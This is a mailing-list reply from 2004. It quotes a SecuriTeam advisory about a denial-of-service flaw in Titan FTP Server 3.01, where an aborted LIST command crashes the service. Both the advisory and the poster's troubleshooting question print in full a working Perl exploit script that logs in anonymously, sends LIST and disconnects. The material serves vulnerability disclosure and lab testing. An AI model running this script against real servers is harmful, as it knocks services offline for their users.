<<< Date Index >>>     <<< Thread Index >>>

Re: Titan FTP Server Aborted LIST DoS



Hi Aviram,

  I have some trouble with the testing of current exploit, the below
is my tested procedure:

1) In my test bed, the host side is winxp professional with ip_addr 192.168.0.2
(english, 5.1 build 2600), and the client side is redhat linux 9 using NAT in
  Vmware Workstation 4.5.1 build-7568 with ip_addr 192.168.92.3.

2) I have successfully Titan Ftp Server v3.01 Build 163 installed on Winxp Pro
   platform. also the perl script u mentioned in ur article has successfully
   executed like as the below:

/* on my redhat box, i use ftp to verify if the titan ftp server is running, the
   result is the info as below: */

[gken@rh9 gken]$ ftp 192.168.0.2
Connected to 192.168.0.2 (192.168.0.2).
220 Titan FTP Server 3.01.163 Ready.
Name (192.168.0.2:gken): gken
331 User name okay, need password.
Password:
230-Welcome gken from 192.168.0.2. You are now logged in to the server.
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.

/* executing titan.pl script */
[gken@rh9 gken]$ perl titan.pl
Combination:
cannot connect to ftp daemon on 192.168.0.2 at titan.pl line 22.


   how to tackle this? thx in advance!



---the titan.pl---
 #!/usr/bin/perl
 # Test for Titan FTP server security vulnerability
 #
 # Orkut users? Come join the SecuriTeam community
 # http://www.orkut.com/Community.aspx?cmm=44441
 #
 use IO::Socket;

 $host = "192.168.0.2";

 my @combination;
 $combination[0] = "LIST \r\n";

 for (my $i = 0; $combination[$i] ; $i++)
 {
  print "Combination: $1\n";

  $remote = IO::Socket::INET->new ( Proto => "tcp",
      PeerAddr => $host,
      PeerPort => "2112",
      );
  unless ($remote) { die "cannot connect to ftp daemon on $host" }

  print "connected\n";
  while (<$remote>)
  {
   print $_;
   if (/220 /)
   {
    last;
   }
  }

  $remote->autoflush(1);

  my $ftp = "USER anonymous\r\n";

  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/331 /)
   {
    last;
   }
  }

  $ftp = "PASS a\@b.com\r\n";
  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/230 /)
   {
    last;
   }
  }

  $ftp = $combination[$i];

  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/150 /)
   {
    last;
   }


  close $remote;
 }
}

At 05:51 AM 5/5/2004, you wrote:
 Titan FTP Server Aborted LIST DoS
----------------------------------------------------


Article reference:
http://www.securiteam.com/windowsntfocus/5RP0215CUU.html


SUMMARY

A security vulnerability exists in South River Technologies' Titan FTP Server.
An attacker issuing a LIST command and disconnecting before the LIST command
had the time to connect, will cause the program to try and access an invalid
socket. This will result in the FTP service's crash (and in turn, no longer
being able to service any additional users).


DETAILS

Vulnerable Systems:
  * Titan FTP Server version 3.01 build 163

 Immune Systems:
  * Titan FTP Server version 3.10 build 169

 Solution:
 To solve this issue upgrade to the latest version (3.10 build 169 or newer).

 Exploit:
 #!/usr/bin/perl
 # Test for Titan FTP server security vulnerability
 #
 # Orkut users? Come join the SecuriTeam community
 # http://www.orkut.com/Community.aspx?cmm=44441
 #
 use IO::Socket;

 $host = "192.168.1.243";

 my @combination;
 $combination[0] = "LIST \r\n";

 for (my $i = 0; $combination[$i] ; $i++)
 {
  print "Combination: $1\n";

  $remote = IO::Socket::INET->new ( Proto => "tcp",
      PeerAddr => $host,
      PeerPort => "2112",
      );
  unless ($remote) { die "cannot connect to ftp daemon on $host" }

  print "connected\n";
  while (<$remote>)
  {
   print $_;
   if (/220 /)
   {
    last;
   }
  }

  $remote->autoflush(1);

  my $ftp = "USER anonymous\r\n";

  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/331 /)
   {
    last;
   }
  }

  $ftp = "PASS a\@b.com\r\n";
  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/230 /)
   {
    last;
   }
  }

  $ftp = $combination[$i];

  print $remote $ftp;
  print $ftp;

  while (<$remote>)
  {
   print $_;
   if (/150 /)
   {
    last;
   }


  close $remote;
 }


ADDITIONAL INFORMATION

SecurITeam would like to thank  <mailto:storm@xxxxxxxxxxxxxx> STORM for
finding this vulnerability.




Regards,
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf




====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.

Regards,

Gene Ken
86-10-62928315 (Home)
86-13901016339 (Cell)
/* Out of intense complexities, emerge intense simplicities. */